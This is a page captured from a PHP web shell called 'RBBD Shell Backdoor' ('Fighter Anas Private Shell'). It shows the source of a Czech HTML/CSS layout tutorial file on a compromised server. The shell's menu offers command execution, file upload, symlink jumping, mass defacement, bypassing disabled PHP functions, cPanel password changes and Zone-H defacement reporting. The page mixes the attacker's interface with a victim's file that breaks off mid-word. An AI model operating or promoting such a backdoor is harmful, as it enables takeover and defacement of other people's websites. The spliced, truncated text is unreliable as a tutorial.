⚜ RBBD Shell Backdoor ⚜
Current Dir
:
D:
/
php
/
Meat_Mincer_oprava1
/
Home
Upload
Command
Config
Jumping
Symlink
Mass Deface
Bypass Disable Function
K-RDP 5H3LL
Adminer
Change Password cPanel
Zone-H
Current File : D:/php/Meat_Mincer_oprava1/layout_css.php
<!doctype html> <html> <head> <script src="../../css/html5shiv.js"></script> <meta charset="UTF-8"> <title>Naučte se html - layout</title> <meta name="description" content="Naučte se html - layout"> <meta name="keywords" content="www, html, tagy, text, layout"> <meta name="author" content="RNDr. Jana Reslová, Rej"> <link rel="shortcut icon" href="../../owebu.ico" title="O webu - html, css, javascript, php"> <link rel="stylesheet" href="../../css/owebu.css"> <link rel="stylesheet" href="../../css/kod.css"> <script src="../../jquery/jquery.js"></script><script src="../../jquery/scr.js"></script> <style> .obal {background-color: white; width: 650px; height: auto; margin: 5px; border: 1px maroon solid; overflow: auto;} .obal div {padding: 5px; font-size: 12px; display: block;} .horni {float: left; background-color: maroon; width: 640px; height: auto; overflow: auto;} .levy1 {float: left; background-color: khaki; width: 120px; height: 60px; overflow: auto;} .levy2 {float: left; background-color: orange; width: 120px; height: 60px; overflow: auto;} .pravy1 {float: right; background-color: gold; width: 100px; height: 100px; overflow: auto;} .pravy2 {float: right; background-color: darkorange; width: 100px; height: 50px; overflow: auto;} .dolni {float: left; background-color: sienna; width: 640px; height: auto; overflow: auto;} div.meritko {float: left; height: 15px; background-color: transparent; border-style: solid; border-color: maroon; border-width: 0px 1px 0px 0px; text-align: center; padding: 0px;} div.meritko_y {float: left; width: 15px; background-color: transparent; border-style: solid; border-color: maroon; border-width: 1px 0px 1px 0px; padding: 0px 5px 0px 5px;} /* nastavení clear */ .cl .horni, .cl .levy1, .cl .levy2 {clear:left;} .cl .pravy2 {clear:right;} .cl .dolni {clear: both;} </style> </head> <body> <div id="book"> <header><h1>HTML</h1>Web o webu</header> <article> <header><h1>Layout</h1></header> <nav><!-- article nav --> <a href="layout.php" style="z-index:10">HTML</a> <a href="layout_css.php" class="active" style="z-index:9">CSS</a> <a href="layout_ukazky.php" style="z-index:8">Ukázky</a> <a href="layout_cviceni.php" style="z-index:7">Cvičení</a> <a href="layout_test.php" style="z-index:6">Test</a> </nav> <section> <h2>Identifikátory nebo kontextuální definice?</h2> <p>Použijeme-li v layoutu více bloků stejného druhu (např. header jako záhlaví celé stránky a další header jako záhlaví sekce), musíme je pro přiřazení stylů nějakým způsobem rozlišit. Můžeme jim přiřadit identifikátor (id) nebo použít kontextuální definici - viz kapitola <a href="../css/definice_komb.php">CSS - Kombinované definice stylů</a>.</p> <div class="detail major"><h4>Ukázka kontextuální definice</h4><div> <img src="../../img/html/html5_struktura_02.png" width="390" height="290" alt="Ukázky rozvržení v HTML5"> <pre> <code><span class="reservedword">body > div </span><span class="symbol">{ </span><span class="space"> </span><span class="comment small">/* blok div, který je přímo v body a obaluje všechny části stránky */ </span><span class="space"> </span><span class="comment small">/* na jiné bloky div se tyto styly vztahovat nebudou */ </span><span class="symbol">} </span><span class="reservedword">div > header </span><span class="symbol">{ </span><span class="space"> </span><span class="comment small">/* záhlaví celé stránky, které je přímo v bloku div */ </span><span class="space"> </span><span class="comment small">/* záhlaví uvnitř sekce tato definice stylu neovlivní */ </span><span class="symbol">} </span><span class="reservedword">section > header </span><span class="symbol">{ </span><span class="space"> </span><span class="comment small">/* záhlaví uvnitř sekce */ </span><span class="symbol">} </span><span class="reservedword">header </span><span class="symbol">{ </span><span class="space"> </span><span class="comment small">/* tyto styly ovlivní obě záhlaví */ </span><span class="symbol">} </span><span class="reservedword">div header </span><span class="symbol">{ </span><span class="space"> </span><span class="comment small">/* tato definice rovněž ovlivní obě záhlaví, protože obě jsou uvnitř divu, třebaže ne přímo. Druhé záhlaví je uvnitř sekce, ale ta je uvnitř divu */ </span><span class="symbol">} </span> </code></pre> </div></div> </section> <section> <h2>Rozměry</h2> <h3>width + padding + border + margin = ???</h3> <p>Celkovou šířku vypočteme jako součet hodnot width a left a right hodnot paddingu, borderu a marginu bloku, případně několika vedle sebe umístěných bloků.</p> <p>Tento součet pak určuje vnitřní šířku (width) „obalujícího“ bloku - viz dále.</p> <div class="detail"><h4>Ukázka výpočtu celkové šířky</h4> <div> <div class="obal" style="padding: 0px 15px 15px 15px; width: 620px;"> <div class="meritko" style="width: 618px; border-left-width: 1px;">620px</div> <div class="horni" style="clear: left; width: 600px; padding: 10px;">width: 600px;<br>padding: 10px;</div> <div class="levy1" style="clear: left; width: 150px; padding: 10px;">width: 150px;<br>padding: 10px;</div> <div class="levy2" style="width: 430px; padding: 10px;">width: 430px;<br>padding: 10px;</div> <div class="dolni" style="clear: left; width: 610px;">10 + 150 + 10 + 10 + 430 + 10 = 620</div> </div> <div class="obal" style="padding: 0px 15px 15px 15px; width: 620px; margin-top: 15px;"> <div class="meritko" style="width: 618px; border-left-width: 1px;">620px</div> <div class="horni" style="clear: left; width: 598px; padding: 10px; border: 1px solid black;">width: 598px;<br>padding: 10px; border: 1px;</div> <div class="levy1" style="clear: left; width: 148px; padding: 10px; border: 1px solid black; border-width: 0px 1px 0px 1px;">width: 148px;<br>padding: 10px;<br>border: 1px;</div> <div class="levy2" style="width: 429px; padding: 10px; border-right: 1px solid black;">width: 429px;<br>padding: 10px;<br>border-right: 1px;</div> <div class="dolni" style="clear: left; width: 608px; border: 1px solid black;">1 + 10 + 148 + 10 + 1 + 10 + 429 + 10 + 1 = 620</div> </div> </div> </div> <h3>height - zadat či nezadat?</h3> <p>Výšku bloků buď nenastavujeme (přizpůsobí se obsahu) nebo ji zadáme (obsah přizpůsobíme velikosti bloku, t.j. vložíme jen tolik textu a obrázků, kolik se do bloku vejde, nebo musíme nechat vytvořit posuvník - viz vlastnost overflow).</p> <p>Pevnou výšku nastavíme pro bloky s neměnným obsahem, například pro hlavičku (header) a patičku (footer). Blok tvořící článek (article, asside), nebo oddíl (section) obsahující články, obvykle necháme přizpůsobit obsahu.</p> <h3>overflow - auto!</h3> <p>Pro bloky s vlastním obsahem (article, asside, section) použijeme overflow:auto. Nebude-li mít blok zadanou výšku, výška se přizpůsobí (podle textu, obrázků, případně i vnořených bloků) a pozadí se vykreslí správně. Bude-li blok mít pevnou výšku, pak se při větším obsahu vytvoří posuvník. Pro blok s pevnou výškou můžeme případně použít overflow:scroll. </p> <div class="detail"><h4>Ukázka vlastnosti overflow</h4><div> <p class="small" style="margin: 0px 10px;">Mají-li bloky nastaveny pevné rozměry (width i height):</p> <div class="obal" style="height:130px;"> <div class="levy1" style="overflow:visible;">overflow:visible<br><br>bude-li obsah bloku větší, než jsou jeho rozměry, pak přeteče zadanou výšku bloku<br>toto nastavení je implicitní</div> <div class="levy2" style="overflow:auto;">overflow:auto<br><br>bude-li obsah delší, vytvoří se u bloku posuvník</div> <div class="levy1" style="overflow:auto;">overflow:auto<br><br>bude-li obsah kratší, posuvník nebude</div> <div class="levy2" style="overflow:scroll;">overflow:scroll<br><br>posuvník vždy</div> </div> <p class="small" style="margin: 0px 10px;">Nemají-li bloky nastavenu výšku (height: auto):</p> <div class="obal" style="height:130px;"> <div class="levy1" style="height:auto; overflow:visible;">overflow:visible<br><br>není-li zadána výška bloku, blok přizpůsobí svou výšku svému textovému obsahu</div> <div class="levy2" style="height:auto; overflow:auto;">overflow:auto<br><br>není-li zadána výška bloku, blok přizpůsobí svou výšku svému textovému obsahu</div> <div style="float:left; position:relative; top:-5px; left:-5px;"><div class="levy1" style="float: none; height:auto; overflow:visible;">overflow:visible<br><br>plovoucím objektům se nepřizpůsobí, ty <img style="float:right; margin: 5px;" src="../../img/foto/nahledy/n_foto05.jpg" alt="" width="50"> vytečou</div></div> <div class="levy2" style="height:auto; overflow:auto; position:relative; left:-10px;">overflow:auto<br><br>blok se přizpůsobí i svému plovoucímu obsahu<img style="float:right; margin: 5px;" src="../../img/foto/nahledy/n_foto05.jpg" alt="" width="50"></div> </div> </div></div> <p>Pro bloky obsahující jiné bloky, použijeme také overflow:auto, jinak se nepřizpůsobí vnořeným plovoucím blokům a může se stát, že se nevykreslí vůbec.</p> <p class="small">Pouze bloky, které mají neměnný obsah (header, footer), a rozměry takové, že se do nich obsah bez problémů vejde, nemusí mít vlastnost overflow zadánu. Budou-li však mít také overflow:auto, ničemu to nebude vadit.</p> </section> <section> <h2>Umístění bloků</h2> <h3>float - left, right, none</h3> <p>Chceme-li umístit dva nebo více bloků vedle sebe, použijeme pro ně float:left, případně pro jeden float:left a pro druhý float:right. V každém případě pak tyto bloky musíme vložit do dalšího bloku, který bude tvořit jakýsi obal a zajišťovat jejich soudržnost. Chceme-li tento obalový blok umístit na střed, musí mít float:none a margin:auto.</p> <div class="detail"><h4>Ukázka vlastnosti float</h4> <div> <p class="small" style="text-align: center; margin-bottom: 0px;">float: none; margin: auto;</p> <div class="obal" style="border: 1px solid red; margin: auto; padding: 0px; width: 620px;"> <div class="horni" style="clear: left; width: 600px; padding: 10px;">float: left;</div> <div class="levy1" style="clear: left; width: 150px; padding: 10px;">float: left;</div> <div class="levy2" style="width: 430px; padding: 10px;">float: left;</div> <div class="dolni" style="clear: left; width: 610px;">float: left;</div> </div> </div> </div> <p>Bez obtékání tedy bude pouze blok sloužící jako obal, všechny ostatní bloky, které budou v tomto obalu vnořeny, musí mít nastaveno obtékání, i když budou do celé šířky obalujícího bloku, jinak se mezi nimi může dělat mezera.</p> <p>Pokud máme pouze několik stejně širokých bloků pod sebou, nemusíme je uzavírat do obalujícího bloku. Necháme je bez obtékání a můžeme je vycentrovat pomocí margin:auto.</p> <div class="detail"><h4>Ukázka</h4> <div> <div class="horni" style="float: none; margin: auto; width: 600px; padding: 10px;">float: none; margin: auto;</div> <div class="levy1" style="float: none; margin: auto; height: auto; width: 600px; padding: 3px 10px;">float: none; margin: auto;</div> <div class="levy2" style="float: none; margin: auto; width: 600px; padding: 10px;">float: none; margin: auto;</div> <div class="dolni" style="float: none; margin: auto; width: 600px; padding: 10px;">float: none; ma
Fighter Anas Private Shell V.1 -
Royal
Battler BD
Copyright © Fighter Anas